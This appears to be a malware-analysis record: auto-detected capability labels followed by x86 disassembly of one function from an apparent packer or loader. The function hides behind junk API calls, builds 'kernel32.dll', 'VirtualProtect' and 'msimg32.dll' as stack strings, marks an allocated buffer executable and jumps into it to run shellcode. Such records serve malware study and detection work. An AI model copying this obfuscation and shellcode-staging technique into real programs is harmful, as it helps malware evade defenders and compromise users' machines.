Function at 0x801d10
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2260
call fcn.00409090
push ebx
mov ebx, dword [esp + 0x40]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x801d3e
call ebp
cmp dword [0xb8b644], 0x6fb
jne 0x801d5c
push 0
lea eax, [esp + 0x134]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x801d74
cmp edi, 0xc10c98
je 0x801d74
cmp ebx, 0x952fcbc
jne 0x801d7d
inc esi
cmp esi, 0x80c66
jl 0x801d34
cmp dword [0xb8b644], 0xcf8
jne 0x801e19
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402cac
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0xb8b644], 0x3a
jne 0x801dc2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push 0x402cd4
push 0
call fcn.004031fb
push 0
call fcn.0040311c
add esp, 0xc
push 0
push 0
call fcn.00402fe0
push 0
call fcn.004031f0
add esp, 0xc
push 0
push 0
call fcn.004030dc
push 0
push 0
call fcn.004032e0
push 0
push 0
call fcn.004030dc
push 0
push 0
call fcn.004032e0
push 0
call fcn.004032b8
add esp, 0x24
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x801e3a
mov eax, 0x5d1
add dword [0xb8b644], eax
cmp dword [0xb8b644], 3
jne 0x801e66
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push 0x402ce0
push edx
mov dword [esp + 0x24], edx
call edi
push 0
push 0
lea eax, [esp + 0xa78]
push eax
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x801e27
mov ecx, dword [0xb8b644]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x80c694], eax
mov eax, dword [0xb8b644]
xor esi, esi
test eax, eax
je 0x801ed4
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea ebx, [ebx]
cmp eax, 0xfe
jne 0x801eab
push 0
call ebx
call fcn.008018c0
mov eax, dword [0xb8b644]
cmp eax, 0x29
jne 0x801ecf
push 0
push 0
lea edx, [esp + 0xa78]
push edx
push 0
call edi
mov eax, dword [0xb8b644]
inc esi
cmp esi, eax
jb 0x801ea0
cmp eax, 0x70
jne 0x801fc2
push 0x402cf0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0x402cf8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0xa70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x1274]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea edx, [esp + 0x134]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402d10
push 0x402d48
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0
push 0
lea eax, [esp + 0x1a78]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
lea ecx, [esp + 0x674]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0xb8b644]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 0xdf
jne 0x8020ef
push 0
push 0
push 0
call esi
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
lea eax, [esp + 0x1a7c]
push eax
push edx
mov dword [esp + 0x24], edx
call ebp
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea eax, [esp + 0x674]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea ecx, [esp + 0x40]
push ecx
push 0x402d64
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea edx, [esp + 0x1270]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0xb8b644]
dec dword [esp + 0x14]
jne 0x801fe2
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x1ec769f4
lea ebx, [ebx]
push 0
call edi
push 0
call ebx
dec esi
jne 0x802110
push 0x807900
mov dword [0x807904], 0x32336c65
mov dword [0x807908], 0x6c6c642e
mov dword [0x807900], 0x6e72656b
mov byte [0x80790c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0xb8b644]
mov edx, dword [0x80c694]
mov dword [0xb8b640], eax
lea eax, [esp + 0x18]
push eax
push 0x40
push ecx
push edx
mov byte [0x80790b], 0x65
mov dword [0x807901], 0x75747269
mov word [0x807905], 0x6c61
mov byte [0x807900], 0x56
mov word [0x80790c], 0x7463
mov byte [0x80790e], 0
mov dword [0x807907], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00801b30
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
cmp dword [0xb8b644], 0xba
jne 0x802208
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [esp + 0x674]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
push 0
lea ecx, [esp + 0x148]
push ecx
push 0x402d74
call ebx
push 0x402dac
push 0
push 0
call ebp
cmp esi, 0x2f64
jne 0x80221b
mov eax, 0
add dword [0x80c694], eax
inc esi
cmp esi, 0x1605a
jl 0x8021bd
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
jmp 0x802240
cmp dword [0xb8b644], 0x85
jne 0x80225a
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x802240
mov edx, 0x73
mov eax, 0x6d
mov word [0xb8b64a], dx
mov word [0xb8b64e], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0xb8b652], cx
mov word [0xb8b65e], ax
mov word [0xb8b650], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0xb8b648
mov dword [0xb8b658], 0x6c0064
mov word [0xb8b64c], ax
mov word [0xb8b648], cx
mov word [0xb8b65c], dx
mov dword [0xb8b654], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb8b644], 0xc30
jne 0x8023d4
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x530]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
lea eax, [esp + 0x674]
push eax
push 0x402de8
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea ecx, [esp + 0x1c]
push ecx
push ebx
lea edx, [esp + 0x13c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
lea eax, [esp + 0x1a74]
push eax
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x28]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x402e10
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea edx, [esp + 0xa74]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push 0x402e48
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
lea eax, [esp + 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea ecx, [esp + 0x1274]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x18]
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret